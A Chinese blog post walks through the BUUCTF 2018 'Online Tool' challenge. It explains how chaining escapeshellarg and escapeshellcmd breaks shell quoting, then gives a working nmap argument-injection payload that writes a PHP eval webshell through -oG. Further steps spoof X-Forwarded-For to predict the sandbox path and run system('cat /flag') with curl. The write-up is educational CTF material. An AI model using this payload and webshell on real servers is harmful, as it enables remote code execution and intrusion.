多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

PHP双重转义逃逸与nmap参数注入:BUUCTF Online Tool实战解析

PHP双重转义逃逸与nmap参数注入:BUUCTF Online Tool实战解析 [BUUCTF 2018]Online Tool这道题我在BUUCTF平台刷到的时候第一反应是又一道命令注入送分题毕竟源码就那么几行参数也看得懂。真正动手之后才发现普通的;cat /flag、|id这些payload全被拦得干干净净连报错都不给一个。折腾了一阵子才想明白这里用的是escapeshellarg加escapeshellcmd的双重过滤但这两个函数叠在一起恰好形成了一条可以被绕过的缝。这道题的核心是一个用PHP的system()直接拼接执行nmap扫描的小功能考察的不是爆破、不是绕过WAF而是对PHP底层转义函数执行机制的理解。适合正在刷Web方向、想彻底搞懂命令注入本质的朋友。整道题不需要扫描端口、不需要漏洞利用框架核心就是一段代码审计加上一个对nmap工具特性的利用思路。1. 题目分析与初步尝试1.1 题目源码与功能定位先贴一下这道题的核心源码BUUCTF平台上很多Web题的逻辑都很简单这道也不例外?php if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { $_SERVER[REMOTE_ADDR] $_SERVER[HTTP_X_FORWARDED_FOR]; } if (isset($_GET[host])) { $host $_GET[host]; $host escapeshellarg($host); $host escapeshellcmd($host); $sandbox md5(glzjin. $_SERVER[REMOTE_ADDR]); mkdir($sandbox); chdir($sandbox); echo system(nmap -T5 -sT -Pn --host-timeout2 -p80 $host); } ?第一眼看上去就是经典的命令注入$_GET[host]被直接拼进system()而且最终执行的命令是nmap ... -p80 $host。如果没有任何过滤直接传127.0.0.1; whoami就能执行命令。但这道题偏偏在拼接前加了两层过滤escapeshellarg()和escapeshellcmd()。escapeshellarg()的作用是把传入字符串包上一对单引号同时对字符串内部的单引号做转义让shell把它当成一个独立的、不可分割的参数。escapeshellcmd()的作用是转义;#|*?~^()[]{}$\以及换行符等特殊字符防止它们被shell解释。两个函数单独拿出来都是PHP官方推荐的安全写法理论上能拦住绝大多数命令注入。1.2 常规注入为什么全失败我先试了最常见的几种payload。传host127.0.0.1; whoami经过escapeshellarg()之后整个字符串被包进单引号127.0.0.1; whoami里面的分号变成普通字符shell不会把它当命令分隔符。再试管道符host127.0.0.1 | idescapeshellcmd()遇到|会加反斜杠转义最后shell看到的只是字面量\|同样不会触发管道。试来试去直接拼命令的思路全部走不通。这时候我意识到问题不在“能不能注入命令”而在于注入的内容经过两层转义之后最终会被shell解析成什么形态。单纯想通过;、|、这种符号去闭合命令确实没戏但escapeshellarg()和escapeshellcmd()的组合存在一个经典的引号逃逸问题利用思路应该从这里切入。2. 核心考点两个安全函数叠加反而失控2.1 单独使用时各自做了什么理解这道题必须先把两个函数在Linux下到底怎么处理字符串搞清楚。escapeshellarg()做的事情很简单在字符串最前面加一个单引号在最后面也加一个单引号然后把字符串内部的每个单引号替换成\。注意这四字符序列的含义第一个用于结束当前的单引号字符串\和合起来表示一个转义后的普通单引号最后一个用于开启下一段单引号字符串。举个例子输入abcdef处理后得到abc\def。shell解析时abc和def会被拼成一个参数中间那个单引号是普通字符。escapeshellcmd()做的事情不同它按顺序扫描字符串维护一个“当前是否在引号内”的状态。当不在引号内时遇到#;|*?~^()[]{}$、换行符、\xFF等字符就在前面加反斜杠遇到单引号或双引号就切换引号状态不转义它。如果扫描到字符串结束还有未闭合的引号它会在末尾补一个反斜杠和对应的引号。单独用哪个都足够安全escapeshellarg()保证整个字符串是一个参数escapeshellcmd()保证特殊字符全部转义。但两个函数连续使用escapeshellarg()生成的那串引号结构会在escapeshellcmd()扫描时被拆得七零八落。2.2 引号配对被拆散的完整过程把这道题的payload简化一下传入127.0.0.1 -v -d a1 -d fuck?php eval($_POST[cmd]);? -oG 1.php注意这里有一个单引号它的位置在127.0.0.1后面后面又跟了空格、参数、双引号等。我们先只看中间这个单引号如何破坏引号配对。经过escapeshellarg()之后字符串变成127.0.0.1\ -v -d a1 -d fuck?php eval($_POST[cmd]);? -oG 1.php把这个字符串当成一个个字符来看第一个开启单引号状态是“在引号内”127.0.0.1是引号内内容后面第一个闭合了当前引号状态变回“不在引号内”接着\不在引号内会被转义变成\\后面又出现一个开启新引号紧跟着的又闭合它然后-v -d a1 -d ...这些内容已经不处于引号保护范围内了。问题就出在这里。escapeshellarg()原本想用一对单引号保护整段字符串但因为它为了转义内部那个单引号生成了“闭合引号、转义引号、开启引号”这种结构escapeshellcmd()扫描的时候把这串引号当成了多个独立的开启和闭合动作保护作用直接失效。最终shell实际看到的不再是一个被单引号包裹的完整参数而是多个独立参数其中包括-v、-d、a1、-oG 1.php等。我做个对比表帮你直观感受这个变化阶段字符串状态开发者意图$host整体作为nmap的目标参数escapeshellarg()处理后127.0.0.1\ -v -d a1 -d ... -oG 1.phpescapeshellcmd()处理后引号配对被打乱后续内容脱离引号保护shell实际解析多个独立参数-oG 1.php被nmap识别为选项这里有个很容易误解的地方很多人以为绕过了这两个函数就能直接执行任意shell命令。不是的。你能控制的是“参数”而不是“命令”。你没办法往命令里塞分号、管道、换行但你可以控制传入给nmap的选项和值。所以问题的关键变成了能不能利用nmap本身的功能达到执行代码的效果。2.3 这是一次“参数注入”想通这一点后整个题目就清晰了我们手里有一个能往nmap命令行里加参数的入口。nmap的功能非常丰富除了扫描端口它还能把扫描结果输出到文件能加载脚本能指定目标列表文件能做各种输出格式转换。在CTF场景下最常用的就是-oG参数它可以让nmap把扫描记录以grepable格式写入一个指定文件而这个文件的内容里会包含完整的命令行。如果你能把PHP代码塞进命令行再让nmap把它写进一个.php文件不就有Webshell了吗。顺着这个思路整个利用链就完整了利用引号逃逸让-oG 1.php成为nmap的独立参数在payload中放入?php eval($_POST[cmd]);?nmap扫描时会把完整命令行写入1.php其中就包含这段PHP代码访问生成的1.php配合POST参数执行任意PHP代码。这个链路每一步都依赖nmap的输出行为而不是依赖shell命令拼接。这也是这道题比较有价值的地方它逼着你跳出“注入分号执行命令”的惯性思维去真正理解工具本身的特性。3. 从参数注入到Webshell的完整利用3.1 沙箱目录怎么定位利用之前必须先搞清楚一个问题源码里执行了chdir($sandbox)$sandbox的值是md5(glzjin . $_SERVER[REMOTE_ADDR])。也就是说nmap生成的1.php不会出现在网站根目录而是会出现在这个md5值命名的目录里。如果不知道目录名后面就算shell写出来了也访问不到。源码开头的这一段就很有意思if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { $_SERVER[REMOTE_ADDR] $_SERVER[HTTP_X_FORWARDED_FOR]; }服务端直接用X-Forwarded-For请求头覆盖了REMOTE_ADDR。正常情况下REMOTE_ADDR是真实客户端IP我们无法控制。但既然题目允许通过X-Forwarded-For覆盖我们就可以自己指定一个IP值让沙箱目录变得可计算、可预测。我请求时把X-Forwarded-For设为127.0.0.1那么沙箱目录就是md5(glzjin127.0.0.1)。本地算一下echo -n glzjin127.0.0.1 | md5sum也能用Pythonpython3 -c import hashlib; print(hashlib.md5(bglzjin127.0.0.1).hexdigest())算出来的字符串就是目录名。要注意echo -n不能漏不然会把换行符也算进去md5结果完全不同。这个坑我后面还会细说。3.2 构造完整的利用请求现在把前面所有分析串起来构造最终payload。URL解码后的原始payload是127.0.0.1 -v -d a1 -d fuck?php eval($_POST[cmd]);? -oG 1.php我在讲引号逃逸时已经解释过最前面的127.0.0.1它是整个逃逸的起点。后面的-v -d a1是干扰参数让nmap进入debug模式并附带无效目标不影响写入文件。-d fuck?php eval($_POST[cmd]);?是关键双引号包裹的部分在escapeshellcmd()扫描时处于成对引号内部特殊字符不会被转义所以?php eval($_POST[cmd]);?能原样保留下来。最后-oG 1.php指定输出文件。注意这里$_POST[cmd]没有给下标加引号。这是故意的。如果写成$_POST[cmd]内部单引号会让整个转义过程再次出问题最终写入文件的内容根本不是合法PHP代码。PHP允许$_POST[cmd]这种无引号下标写法只是会提示未定义常量但功能正常符号正好把警告抑住。发送请求时特殊字符最好做URL编码避免被浏览器或中间层吃掉。这里给一份可以直接用的HTTP请求GET /index.php?host127.0.0.1%27%20-v%20-d%20a1%20-d%20%22fuck%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%20-oG%201.php HTTP/1.1 Host: 目标地址 X-Forwarded-For: 127.0.0.1如果觉得手写编码容易出错可以用curl。curl的--data-urlencode会帮你把参数编码好curl -G http://目标地址/index.php \ --data-urlencode host127.0.0.1 -v -d a1 -d fuck?php eval($_POST[cmd]);? -oG 1.php \ -H X-Forwarded-For: 127.0.0.1这里bash引号嵌套比较烦我实际用的时候更喜欢直接复制编码好的URL到Burp Suite的Repeater里发界面清楚也能直接改XFF头。发送成功后页面会回显nmap的扫描输出。看到输出里有nmap、80/tcp之类的信息说明命令正常执行了。3.3 连接Webshell并拿flag请求发完服务器上应该生成了1.php。访问路径是http://目标地址/沙箱目录/1.php沙箱目录就是上一步用md5算出来的字符串。比如我算出来是21d84a3370e6a0a0976338223e4c9c3e那路径就是http://目标地址/21d84a3370e6a0a0976338223e4c9c3e/1.php。先不带参数访问会发现页面输出了一段nmap的扫描日志里面包含完整的命令行文本以及payload中的PHP代码。这其实是正常的因为nmap把整个命令行写进了文件开头PHP引擎会直接把这些内容当作HTML输出然后遇到?php标签时开始执行代码。通常还会报一个“未定义常量cmd”的Notice不影响GetShell。验证代码是否执行直接发一个POST请求curl -X POST http://目标地址/沙箱目录/1.php \ --data cmdsystem(ls /);如果返回了根目录列表说明Webshell已经生效。这道题的flag一般放在/flag直接读curl -X POST http://目标地址/沙箱目录/1.php \ --data cmdsystem(cat /flag);如果习惯用蚁剑也可以直接用蚁剑连接http://目标地址/沙箱目录/1.php连接密码填cmdURL编码器和连接方式按默认设置就行。这里不再展开蚁剑的具体操作。3.4 为什么双引号里的PHP代码能保住这里有一个值得单独讲清楚的点escapeshellcmd()明明会转义、、(、)、[、]、$、;这些字符为什么payload里的?php eval($_POST[cmd]);?没有被打上反斜杠关键在于引号状态。escapeshellcmd()扫描字符串时一旦进入成对的双引号内部它就不再转义特殊字符。我们的payload在-d后面跟了一个双引号把整段PHP代码包在里面所以这段代码在扫描时处于双引号内部逃过了转义。这个细节是整个payload能否写shell的命门。如果去掉双引号和会被转义成\和\那么写入文件的PHP标签就失效了访问1.php只会看到一段普通文本不会执行代码。所以构造payload时必须保证PHP代码在nmap的完整命令行里是以原样字符串出现的不能携带任何被转义的符号。4. 实战中常见的坑与排查思路4.1 沙箱目录计算错误导致的404这是最常遇到的问题。shell文件确实生成了但访问路径不对一直404。我复盘了几个原因第一echo -n和printf的区别。很多人用echo -n glzjin127.0.0.1 | md5sum在Linux下没问题但如果复制到某些在线工具或者Windows环境可能多了换行符md5结果就完全不同。建议用Python算更稳定“python3 -c import hashlib;print(hashlib.md5(bglzjin127.0.0.1).hexdigest())”。第二XFF头没有生效。确认请求里确实带了X-Forwarded-For: 127.0.0.1而且大小写、格式正确。PHP对HTTP_X_FORWARDED_FOR的解析是自动完成的只要请求头存在$_SERVER[HTTP_X_FORWARDED_FOR]就会有值。第三请求IP和计算目录时用的IP不一致。如果XFF头被某个中间层清掉服务端拿到的其实是真实IP而你按自己设的127.0.0.1算目录自然访问不到。可以观察页面是否回显nmap输出确认请求确实命中了源码逻辑。4.2 文件生成了但PHP不解析访问生成的.php文件页面直接打印出了完整命令行?php那段代码变成了普通文本说明写入文件的内容里PHP标签已经被转义了。最常见的原因就是payload少了双引号。我再强调一次-d fuck?php eval($_POST[cmd]);?里的双引号不能省略否则、会被escapeshellcmd()加上反斜杠变成\\?php。PHP引擎只认?php不认带反斜杠的版本。另一个可能性是payload里的$_POST[cmd]被写成了$_POST[cmd]。带引号的下标在两次转义过程中会引入额外的单引号和反斜杠导致写入的PHP代码语法错乱。改用$_POST[cmd]能避免这个问题。4.3 蚁剑连接失败蚁剑连不上的原因通常有两个。一个是连接密码填错。payload写的是$_POST[cmd]那连接密码就是cmd不是shell不是pass更不能留空。另一个是代码没有真正执行。访问页面时如果只看到nmap日志没有触发任何PHP解析效果那还是回到4.2去检查转义问题。另外如果PHP版本很老$_POST[cmd]无引号写法可能会产生大量Notice警告虽然不影响执行但可能让页面输出异常。蚁剑对异常输出的容忍度通常还行但如果实在连不上可以先确认system(ls /);这种命令能不能通过curl正常回显先排除连接工具的问题。4.4 扫描超时或nmap报错这道题的payload里有几个无效hostnmap会尝试去解析它们可能拖慢扫描或者报一些DNS解析错误。我在实际测试中遇到过扫描卡住的情况多数是因为目标网络环境对DNS查询有严格限制。可以在命令行里加--dns-servers 127.0.0.1这类选项或者把干扰参数精简一些只保留必要部分。不过BUUCTF的原题环境通常不会卡住如果卡住多等一会儿或者重新发一次请求。--host-timeout2本身就限制了每个主机的扫描时间整体不会太慢。下面把几个常见问题整理成速查表方便排查现象主要原因解决办法访问shell路径404沙箱目录计算错误或XFF失效用Python重新计算md5确认XFF头存在PHP代码变成普通文本、被转义确保PHP代码位于成对双引号内蚁剑连接无响应PHP代码语法错乱或密码错误用$_POST[cmd]无引号写法密码填cmd扫描超时无效host过多精简干扰参数或使用--dns-servers页面报未定义常量Notice无引号下标写法触发不影响执行可忽略或用抑制5. 一点个人复盘这道题给我最大的触动不是payload本身而是“安全函数组合不等于更安全”这件事。escapeshellarg()和escapeshellcmd()单独用都是很可靠的过滤手段但把它们连起来反而破坏了彼此建立的引号状态。写代码的时候大家习惯堆过滤函数觉得“多一层总是好的”这道题就是一个反例。从解题角度说nmap这种常见工具在CTF里经常被当成命令注入的跳板-oG写文件、--script加载脚本、-iL读取文件都是高频考点。刷题的时候不妨多翻翻这些工具的官方文档遇到参数注入类题目会顺手很多。我自己就在-oG写Webshell上栽过跟头后来才意识到nmap输出文件第一行会完整记录命令行这个特性本身就是为写文件类利用量身定做的。另外一个小经验构造payload时不要急着发先在本地用PHP命令行模拟一下两次转义看看最终字符串长什么样。比如在Linux下跑php -r echo escapeshellcmd(escapeshellarg($argv[1])); -- 你的输入能直观看到转义结果比盲试快得多。这道题值得反复做几遍每次都能加深对shell引号解析的理解。
返回列表